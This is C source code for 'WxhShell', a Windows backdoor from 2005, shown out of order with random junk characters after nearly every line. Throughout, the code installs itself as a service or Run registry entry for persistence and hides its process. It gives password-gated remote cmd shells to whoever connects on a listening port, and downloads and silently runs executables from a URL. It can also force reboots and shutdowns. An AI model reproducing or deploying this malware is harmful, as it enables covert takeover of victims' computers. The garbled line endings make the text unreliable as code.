    if(Boot(SHUTDOWN)) d3v5^5kU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \tc 4DS  
    else { suC]  
    closesocket(wsh); _VLc1svv  
    ExitThread(0); )$p<BLU  
    } MDZ,a 0?4t  
    break; D1}Bn2BM$  
    } Rq-BsMX!A  
  // 获取shell 9%^q?S/Rv  
  case 's': { T>7$<ulm  
    CmdShell(wsh); \DI%/(?  
    closesocket(wsh); %5?qS`/c(  
    ExitThread(0); .DR^<Qy  
    break; -aK_  
  } 5(W`{{AW  
  // 退出 $p#)xx7  
  case 'x': { \dO9nwa?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 52 ? TLID  
    CloseIt(wsh); 9lbe[w @  
    break; /GCI`hx>"  
    } %JF.m$-  
  // 离开 (RW02%`jjy  
  case 'q': { iG()"^G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~>2@55wElp  
    closesocket(wsh); !C]0l  
    WSACleanup(); TPEg>[  
    exit(1); i0; p?4`m  
    break; e<2?O  
        } `O4Ysk72x9  
  } TUuw  
  } q1Gc0{+)  
dtD)VNkBZ  
  // 提示信息 A Ch!D>C1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -LI^(_  
} BQmHYar  
  } CV&+^_j'k  
s ~c_9,JK  
  return; FRqJ#yd]  
} \0?^%CD+@  
|)`<D  
// shell模块句柄 MHar9)$}  
int CmdShell(SOCKET sock) cBs:7Pnp%  
{ COvcR.*0F  
STARTUPINFO si; }q7rR:g  
ZeroMemory(&si,sizeof(si)); ;;#28nV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; //T1e7)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fn(< <FA)  
PROCESS_INFORMATION ProcessInfo; GvQKFgO6h  
char cmdline[]="cmd"; /Z`("X?_Kf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E_k<EQ%r  
  return 0; >1u!(-A  
} &Z3g$R 9  
6a$=m3ic  
// 自身启动模式 x$ z9:'U  
int StartFromService(void) k@vN_Un  
{ oRH ]67(Z  
typedef struct ,rkY1w-  
{ - "`5r6  
  DWORD ExitStatus; HQqnJ;ns<  
  DWORD PebBaseAddress; X <QSi   
  DWORD AffinityMask; WxO2  
  DWORD BasePriority; QlT{8uw )  
  ULONG UniqueProcessId; |-t>_+. J'  
  ULONG InheritedFromUniqueProcessId; 1o5n1 A  
}   PROCESS_BASIC_INFORMATION; av|r^zc  
2wCTd:e:  
PROCNTQSIP NtQueryInformationProcess; kYMKVR  
H5wzzSV!:B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9HJrMX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K`}8fU   
36MqEUjyB  
  HANDLE             hProcess; B q/<kEgM  
  PROCESS_BASIC_INFORMATION pbi; =LLix . >  
E$!0h_.(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nM]Sb|1:  
  if(NULL == hInst ) return 0; -!w({rP  
qI (<5Wxl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :K J#_y\rt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )> >Tj7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); phkfPvL{  
Am>^{qh9  
  if (!NtQueryInformationProcess) return 0; rZ[}vU/H`  
4I&e_b< 30  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .%Pt[VQ  
  if(!hProcess) return 0; 5MU-Eu|*>  
dZ]['y%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e0rh~@E  
Qy< ~{6V  
  CloseHandle(hProcess); ICq  
vq(ElXTO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /XEt2,sI9  
if(hProcess==NULL) return 0; qRk<1.  
+q*Cw>t /  
HMODULE hMod; B+)HDIPa-  
char procName[255]; G_m$W3 zS  
unsigned long cbNeeded; V!^5#A<  
:&59N^So|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VAGQR&T?  
Lmp_8q-Ej  
  CloseHandle(hProcess); YC,s]~[[   
(tY0/s  
if(strstr(procName,"services")) return 1; // 以服务启动 uB&um*DP  
RQg7vv]%  
  return 0; // 注册表启动 5SOl:{A +  
} 1^R[kaY  
Lt 8J^}kwl  
// 主模块 YC,)t71l{  
int StartWxhshell(LPSTR lpCmdLine) Wycood*  
{ Nj~3FL  
  SOCKET wsl;  AW[_k%  
BOOL val=TRUE; qukym3F  
  int port=0; St`3Z/|h  
  struct sockaddr_in door; <d`ksZ+  
Jw -?7O  
  if(wscfg.ws_autoins) Install(); MTyBG rs(  
: _,oD  
port=atoi(lpCmdLine); TAd~#jB9  
nogdOGo  
if(port<=0) port=wscfg.ws_port; Uxll<z,  
O%hmGW4  
  WSADATA data; S! Z2aFj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g+:Go9k!F  
m@A?'gD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B:?MMXB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ; fOkR+  
  door.sin_family = AF_INET; )c; YR}tC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }hoyjzv]L  
  door.sin_port = htons(port); }={TVs^  
Pjvzefp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !=/wpsH  
closesocket(wsl); ;kE|Vx  
return 1; Of@ LEEh6  
} cM|!jnKm  
Tl/!Dn  
  if(listen(wsl,2) == INVALID_SOCKET) { ()\=(n!J  
closesocket(wsl); v4$"{W;'  
return 1; vGIe"$hNh  
} &xgKHbg  
  Wxhshell(wsl); JA <Hm.V#  
  WSACleanup(); 8*$HS.Db'  
gL/D| =  
return 0; _Qh :*j!  
*i`t4N A  
} }HLs.k4-;  
PKxI09B  
// 以NT服务方式启动 YU]|N 'mL2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zxD~W"R:s  
{ ~R+,4  
DWORD   status = 0; vAV{HBQ*  
  DWORD   specificError = 0xfffffff; dX^d\ wX  
awC:{5R8v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WL#E%6p[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !:^?GN#~x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lL<LJ :L  
  serviceStatus.dwWin32ExitCode     = 0; kM JA#{<  
  serviceStatus.dwServiceSpecificExitCode = 0; GxynLXWo>  
  serviceStatus.dwCheckPoint       = 0; V1]QuQ{&s  
  serviceStatus.dwWaitHint       = 0; Sy0-tK4  
X?B\+dq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]iq2_{q  
  if (hServiceStatusHandle==0) return; 9!>Ks8'.d  
\GP0FdpV  
status = GetLastError(); .{8?eze[m  
  if (status!=NO_ERROR) XusTU  
{ T=W;k<P\k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s` $YY_  
    serviceStatus.dwCheckPoint       = 0; '<R::M,  
    serviceStatus.dwWaitHint       = 0; <_8p6{=  
    serviceStatus.dwWin32ExitCode     = status; HB0DG<c-  
    serviceStatus.dwServiceSpecificExitCode = specificError; Hl*V i3bQU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -(Fhj Ir  
    return; n@PXC8}  
  } f [DZ  
/>0 Bm`A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {yCE>F\  
  serviceStatus.dwCheckPoint       = 0; Ij{ K\{y  
  serviceStatus.dwWaitHint       = 0; tso\bxiU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t3VZjO  
} n~mP7X%wE7  
C&/_mm5  
// 处理NT服务事件,比如:启动、停止 AK_,$'f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]ME2V  
{ 5\jzIB_?  
switch(fdwControl) ZQ)vvD<  
{ 7 ~9Lj  
case SERVICE_CONTROL_STOP: pl.x_E,HP  
  serviceStatus.dwWin32ExitCode = 0; PFSh_9. q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :< *xG&  
  serviceStatus.dwCheckPoint   = 0; C(J+tbk  
  serviceStatus.dwWaitHint     = 0; n5z";:p  
  { b.#0{*/G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "">{8  
  } >V$ S\"  
  return; o ?`LZd:{  
case SERVICE_CONTROL_PAUSE: j FH wu*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <KEVA?0>  
  break; 1Pp2wpD4iC  
case SERVICE_CONTROL_CONTINUE: " Z2D@l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Gl]z@ZXWIw  
  break; Bgf'Hm% r  
case SERVICE_CONTROL_INTERROGATE: g><i tA?  
  break; xhw0YDGzf  
}; 3cSP1=$*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Me&> "N"  
} Lyy:G9OV  
Nq >"vEq)  
// 标准应用程序主函数 DWXHx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^$x1~}D  
{ w^=uq3X?  
MY>*F[~ 2  
// 获取操作系统版本 ~gA^tc3G  
OsIsNt=GetOsVer(); W6!o=()  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "59"HVV  
]x1o (~  
  // 从命令行安装 OeYZLC(  
  if(strpbrk(lpCmdLine,"iI")) Install(); Rz:1(^oA  
{osadXd C  
  // 下载执行文件 uMb[0-5  
if(wscfg.ws_downexe) { >mUSRf4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lDVw2J'p  
  WinExec(wscfg.ws_filenam,SW_HIDE); }Q-%ij2  
} ^tRy6zG  
l", X  
if(!OsIsNt) { iVZ X  
// 如果时win9x,隐藏进程并且设置为注册表启动 o! Y61S(  
HideProc(); xWxgv;Ah  
StartWxhshell(lpCmdLine); Rl[SqmnI)@  
} kR]AW60OE  
else )tp;2rJ/  
  if(StartFromService()) 3\Tqs  
  // 以服务方式启动 3( o~|%  
  StartServiceCtrlDispatcher(DispatchTable); PE&$2(  
else 6 vr8rJ-  
  // 普通方式启动 nPg,(8Tt  
  StartWxhshell(lpCmdLine); YtFH@M  
9w}_CCj3  
return 0; X(qs]:  
} ]\6*2E{1m  
/:+MUw7~  
v%4zP%4Ak[  
* amZ  
=========================================== "YoFUfaNg  
Z11I1)%s  
:)j& t>aP  
+BgUnu26  
Lj Y@b  
<uXQT$@?  
" @s8wYcW  
uXm}THI  
#include <stdio.h> q!whWA  
#include <string.h> 3dB{DuQ  
#include <windows.h> j*L-sU  
#include <winsock2.h> 39oI &D>8  
#include <winsvc.h> `(&GLv[i^2  
#include <urlmon.h> 5D<"kT  
=(Pk7{  
#pragma comment (lib, "Ws2_32.lib")  IcUE=J  
#pragma comment (lib, "urlmon.lib") (Nn)_caVb  
<qjolMO`  
#define MAX_USER   100 // 最大客户端连接数 '~n=<Y  
#define BUF_SOCK   200 // sock buffer 8ps1Q2|  
#define KEY_BUFF   255 // 输入 buffer >d<tcaB  
>fx/TSql:J  
#define REBOOT     0   // 重启 9HG"}CGZP  
#define SHUTDOWN   1   // 关机 nV>=n,+s"  
0ra+MQBg  
#define DEF_PORT   5000 // 监听端口 I7?s+vyds  
s&D>'J  
#define REG_LEN     16   // 注册表键长度 |l673FcJ  
#define SVC_LEN     80   // NT服务名长度 JK^pb0ih  
:r+F95e  
// 从dll定义API J  7]LMw7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K?gO ]T{6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #|;;>YnZ   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y2:Bv2}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Igb%bO_  
^^kL.C Ym  
// wxhshell配置信息 Dy^A??A[E}  
struct WSCFG { U{ ZKxE  
  int ws_port;         // 监听端口 }ZkGH}K_}  
  char ws_passstr[REG_LEN]; // 口令 7f\/cS^  
  int ws_autoins;       // 安装标记, 1=yes 0=no o>MB8[r  
  char ws_regname[REG_LEN]; // 注册表键名 '$y.`/$  
  char ws_svcname[REG_LEN]; // 服务名 7~2V5 @{<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2O " ~k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dEK bB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gjc[\"0a5h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =fcRH:B:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UmOK7SPi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pL`)^BJ  
z2god 1"  
}; 91:TE8?Z  
Pw/$ }Q9X  
// default Wxhshell configuration gbu@&   
struct WSCFG wscfg={DEF_PORT, .( X!*J]G  
    "xuhuanlingzhe", M(#]NTr ~4  
    1, t[%ELHV  
    "Wxhshell", g#r,u5<*?  
    "Wxhshell", {IT;g9x  
            "WxhShell Service", 31{) ~8  
    "Wrsky Windows CmdShell Service", VCc57 Bo  
    "Please Input Your Password: ", iuHs.k<z  
  1, V u1|5  
  "http://www.wrsky.com/wxhshell.exe", d;E (^l  
  "Wxhshell.exe" ^=,N] j  
    }; L,* #  
"= >8UR  
// 消息定义模块 _2rxDd1#.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;0;5+ J7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #r;uM+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rkh ^|_<!  
char *msg_ws_ext="\n\rExit."; $*vj7V_  
char *msg_ws_end="\n\rQuit."; * vP:+]  
char *msg_ws_boot="\n\rReboot..."; 0&2eiMKG?n  
char *msg_ws_poff="\n\rShutdown..."; Q)ZbnR2Z8  
char *msg_ws_down="\n\rSave to "; %lqrq<Xn  
_0!<iN L  
char *msg_ws_err="\n\rErr!"; [J+]1hCZ|  
char *msg_ws_ok="\n\rOK!"; "Tc[1{eI  
M =6  
char ExeFile[MAX_PATH]; E9#.!re|^  
int nUser = 0; MVZ9x%  
HANDLE handles[MAX_USER]; SS"Z>talw  
int OsIsNt; h f9yK6  
N3o kN8d  
SERVICE_STATUS       serviceStatus; {14sI*b16  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CV7%ud]E  
A\T9>z^k  
// 函数声明 7,,#f&jP  
int Install(void); ~ _W>ND  
int Uninstall(void); @j+X>TD  
int DownloadFile(char *sURL, SOCKET wsh); 'Z`fZ5q  
int Boot(int flag); _VI3b$  
void HideProc(void); ~=9]M.$  
int GetOsVer(void); CQ^I;[=d  
int Wxhshell(SOCKET wsl); kf2e-)uUs  
void TalkWithClient(void *cs); ;ksxz  
int CmdShell(SOCKET sock); 8I%N^G  
int StartFromService(void); Xr$hQbl5D  
int StartWxhshell(LPSTR lpCmdLine); d{~Qd|<rr  
g%2twq_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LAPC L&Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  cvO;xR  
<G#z;]N  
// 数据结构和表定义 V|G[j\]E<  
SERVICE_TABLE_ENTRY DispatchTable[] = 6uubkt  
{ gfm aO ]  
{wscfg.ws_svcname, NTServiceMain}, b@yFqgJ_  
{NULL, NULL} g@IYD  
}; 9}Qrb@DT  
7kH GU  
// 自我安装 KSy.  
int Install(void) Eumdv#Qg  
{ DY!mq91  
  char svExeFile[MAX_PATH]; [nG[@)G~0M  
  HKEY key; 4{J'p19  
  strcpy(svExeFile,ExeFile); 6HxZS+], c  
kJ:zMVN  
// 如果是win9x系统,修改注册表设为自启动 l$eKV(CZ4  
if(!OsIsNt) { 77o&$l,A|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `%Uz0hF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jG~UyzWH;  
  RegCloseKey(key); V'XvwO@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J&jig?t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aFVd}RO0  
  RegCloseKey(key); >? ({  
  return 0; W.VyH|?  
    } 3-$w5O3}  
  } HP*AN@>Kw  
} ffE&=eh)  
else { uq_h8JH$  
6v9A7g;4.  
// 如果是NT以上系统,安装为系统服务 /dt'iai~l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e \ rb  
if (schSCManager!=0) @iD5X.c  
{ Rhil]|a/  
  SC_HANDLE schService = CreateService NJTC+`Hm  
  ( dI|`"jl#  
  schSCManager, vV+>JM6<K  
  wscfg.ws_svcname, {;j@-=pV  
  wscfg.ws_svcdisp, >m&r,z  
  SERVICE_ALL_ACCESS, ufWd) Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B^sHFc""V  
  SERVICE_AUTO_START, Zfn390_  
  SERVICE_ERROR_NORMAL, 'P5|[du+  
  svExeFile, =| M[JPr  
  NULL, W_z?t;  
  NULL, ^7&0P m  
  NULL, yyVv@  
  NULL, %Lwd1'C%  
  NULL 3O!TVSo  
  ); kN,WB  
  if (schService!=0) _Q3Ad>,U  
  { WmT(>JBO  
  CloseServiceHandle(schService); Z,bvD'u  
  CloseServiceHandle(schSCManager); \qh -fW; #  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ewb/ Z[4  
  strcat(svExeFile,wscfg.ws_svcname); POCFT0R}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zO07X*Bw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (6S f#M  
  RegCloseKey(key); ^XQr`CqI  
  return 0; Uv"GG: K_  
    } niIjatT  
  } 1GL@t?S  
  CloseServiceHandle(schSCManager); W!G2$e6  
} ooPH [p  
} $6]7>:8mz  
N}2xt)JZz  
return 1; Fl^}tC  
} Y8yRQ zu  
!.ot&EbE  
// 自我卸载 KU}HVM{  
int Uninstall(void) Kzd`|+?'`M  
{ `X7ns?  
  HKEY key; M1f ^Lx  
StuDtY  
if(!OsIsNt) { \PB~ 6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uY;2tZldf=  
  RegDeleteValue(key,wscfg.ws_regname); {%;KkC8=R  
  RegCloseKey(key); jW-j+ WGSM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (SlrV8;  
  RegDeleteValue(key,wscfg.ws_regname); gB?~!J?  
  RegCloseKey(key); { !C';^  
  return 0; boR&'yX  
  } tT;=l[7%  
} p 8q9:Tz  
} $N#f)8v  
else { ' 1aU0<  
fuxBoB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2eBA&t  
if (schSCManager!=0) LF~=,S  
{ O/(qi8En  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w*Gv#B9G  
  if (schService!=0) 3 TN?yP)  
  { 3 T3p[q4  
  if(DeleteService(schService)!=0) { YJ`[$0mam  
  CloseServiceHandle(schService); ( |1 $zF+  
  CloseServiceHandle(schSCManager); 5M{ DJ/q  
  return 0; fr0iEO_  
  } eiF!yk?2  
  CloseServiceHandle(schService); LyB$~wZx~@  
  } EMe6Z!k  
  CloseServiceHandle(schSCManager); Gd~Xvw,u  
} U$`)|/8  
} >_biiW~x:  
qK4E:dD  
return 1; .wD>0Ig  
} #(53YoV_8  
"kKIVlC  
// 从指定url下载文件 6SMGXy*]^  
int DownloadFile(char *sURL, SOCKET wsh) VT\o=3 _  
{ o4b!U%  
  HRESULT hr; ogX'3L  
char seps[]= "/"; Oifu ?f<r  
char *token; X"W%(x`w  
char *file; PomX@N}1  
char myURL[MAX_PATH]; 6?0 ^U 9  
char myFILE[MAX_PATH]; K'%,dn  
~7!J/LHg  
strcpy(myURL,sURL); %3i/PIN  
  token=strtok(myURL,seps); .6[xX?i^T  
  while(token!=NULL) =>hq0F4[;  
  { WG;1[o&  
    file=token; j}chU'i f  
  token=strtok(NULL,seps); ^ZFbp@#U  
  } ~4wbIE_r N  
;C%D+"l1g  
GetCurrentDirectory(MAX_PATH,myFILE); ZbYwuyHk(3  
strcat(myFILE, "\\"); 1WPDMLuN  
strcat(myFILE, file); }`$:3mb&f  
  send(wsh,myFILE,strlen(myFILE),0); aho;HM$hjP  
send(wsh,"...",3,0); u!%]?MSc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )Xa`LG =|  
  if(hr==S_OK) X9nt;A2TU+  
return 0; <GShm~XD2  
else j8@YoD5o  
return 1; L;xc,"\3  
yg "u^*r&  
} Etj*3/n|  
I C9:&C[  
// 系统电源模块 B7TA:K  
int Boot(int flag) 2C %{A  
{ f{lg{gA(  
  HANDLE hToken; LS?hb)7  
  TOKEN_PRIVILEGES tkp; `"M=ZVk  
A==P?,RG  
  if(OsIsNt) { GljxYH"]#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0K, *FdA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0z."6 r  
    tkp.PrivilegeCount = 1; J W&/l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >.PLD} zE_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q/iaxY#  
if(flag==REBOOT) { mqk~Pno|<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b^PYA_k-Xn  
  return 0; (@O F Wc"p  
} Y.@ vdW  
else { 7I`e5\ u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q+t*3;X.  
  return 0; fk P@e3  
} fL"-K  
  } &:8a[C2=  
  else { 6@!<' l%z  
if(flag==REBOOT) { 3bpbk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )KR9alf3  
  return 0; <!&nyuSz  
} PBr-< J  
else { kAf:_0?6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PP&AF?C  
  return 0; GFx >xQk  
} v4(!~S  
} Gw3|"14  
Qm,|'y:Tg  
return 1; Rs8`M8(4%  
} D(}v`q{Y  
npz*4\4  
// win9x进程隐藏模块 aD3'gc,l  
void HideProc(void) S8<O$^L^  
{ R{@WlkG}  
hti)<#f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6{}]QvR  
  if ( hKernel != NULL ) I2%{6g@  
  { LKxyj@Eq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zF(I#|Vo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F)lDK.  
    FreeLibrary(hKernel); rjQV;kX>  
  } &~G>pvZ  
Eti;(>"@  
return; G(|ki9^@"9  
} {DBgW},  
8@Xq ,J  
// 获取操作系统版本 KCDEMs}}zM  
int GetOsVer(void) ar=uDb;  
{ FbJlyWND  
  OSVERSIONINFO winfo; +D`IcR-x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "m _wYX  
  GetVersionEx(&winfo); c5<M=$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g-meJhX%  
  return 1; Am!$\T%2  
  else ~0|Hw.OK  
  return 0; ,#UaWq@7  
} Tw`^  
Jp xJZJ  
// 客户端句柄模块 (m=-oQ&Ro  
int Wxhshell(SOCKET wsl)  MI!C%  
{ EG59L~nM  
  SOCKET wsh; }Hrm/Ni  
  struct sockaddr_in client; WWc{]R^D  
  DWORD myID; tH2y:o 72  
F%lP<4Vx  
  while(nUser<MAX_USER) X|7gj &1  
{ ]U! ?{~  
  int nSize=sizeof(client); Bh"o{-$p8`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,F.\z^\{  
  if(wsh==INVALID_SOCKET) return 1; $=TFTSO  
)O"5dF1l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^4O1:_|G  
if(handles[nUser]==0) 4At%{E  
  closesocket(wsh); Obrv5 %'  
else Q~#udEajI  
  nUser++; gx#xB8n  
  } I/<aY*R4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <E|i3\[p  
VW I{ wC  
  return 0; N{tNe-5  
} pz6fL=Xd  
My76]\Psh  
// 关闭 socket n87B[R  
void CloseIt(SOCKET wsh) x;99[C!$  
{ +S5"4<  
closesocket(wsh); \d2Ku10v[  
nUser--; J p!Q2}  
ExitThread(0); VjBV2x  
} PiMh]  0  
#Fl "#g$  
// 客户端请求句柄 H@qA X  
void TalkWithClient(void *cs) - {>JF  
{ ,Za!  
^0R.'XL  
  SOCKET wsh=(SOCKET)cs; tz)aQ6p\X  
  char pwd[SVC_LEN]; R^<li;Km  
  char cmd[KEY_BUFF]; CbVUz<  
char chr[1]; MVs@~=  
int i,j; [, 3o  
PzWhB* iBR  
  while (nUser < MAX_USER) { (g`G(K_  
0hn N>?  
if(wscfg.ws_passstr) { !=3[Bm G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DFQp<Eq]7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y9{KBM%h  
  //ZeroMemory(pwd,KEY_BUFF); ?"N, do  
      i=0;  btJ:Wt}  
  while(i<SVC_LEN) { BRPvBs?Q,{  
s% 2w&Us*  
  // 设置超时 IKMkpX!]  
  fd_set FdRead; R7r` (c!  
  struct timeval TimeOut; HJo&snT3  
  FD_ZERO(&FdRead); :$~)i?ge<5  
  FD_SET(wsh,&FdRead); Jajo!X*Wai  
  TimeOut.tv_sec=8; zp:kdN7!^  
  TimeOut.tv_usec=0; ARGtWW~:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C}<j8a?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3vfm$sx@  
uPr'by  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2w>WS#  
  pwd=chr[0]; ?'Y\5n/*$  
  if(chr[0]==0xd || chr[0]==0xa) { Ly"u }e  
  pwd=0; eY)ugq>'  
  break; pwtB{6)VH{  
  } !}<d6&!py  
  i++; {`2! 3= "  
    } T!0o(Pp<  
rkugV&BhV  
  // 如果是非法用户,关闭 socket )y4bb^;z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ON.C%-T-  
} 5R\{&  
XZD9vFj1Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zePVB -@u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2a|9D \  
As }:~Jy|  
while(1) { FNL[6.!PV  
?{[ ISk)  
  ZeroMemory(cmd,KEY_BUFF); M{cF14cQ  
tPBr{  
      // 自动支持客户端 telnet标准   _y*@Hj  
  j=0; gBp,p\ Xc  
  while(j<KEY_BUFF) { OC34@YUj[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (KtuikJ32^  
  cmd[j]=chr[0]; 2fFZ70Yh  
  if(chr[0]==0xa || chr[0]==0xd) { NF8'O  
  cmd[j]=0; }'L7<_  
  break; E}LuWFZ&  
  } 6<X.]"u+E~  
  j++; _<s[HGA`z  
    } E w#UlA:"v  
44C"Pl E u  
  // 下载文件 }N[|2n R'  
  if(strstr(cmd,"http://")) { r@b M3V_o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  mo+zq~,M  
  if(DownloadFile(cmd,wsh)) v|fA)W w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B3|h$aKC  
  else O{b<UP'85  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HYU-F_|N=  
  } $WmB__  
  else { 011 N  
g~E N3~  
    switch(cmd[0]) { 7X 4/6]*  
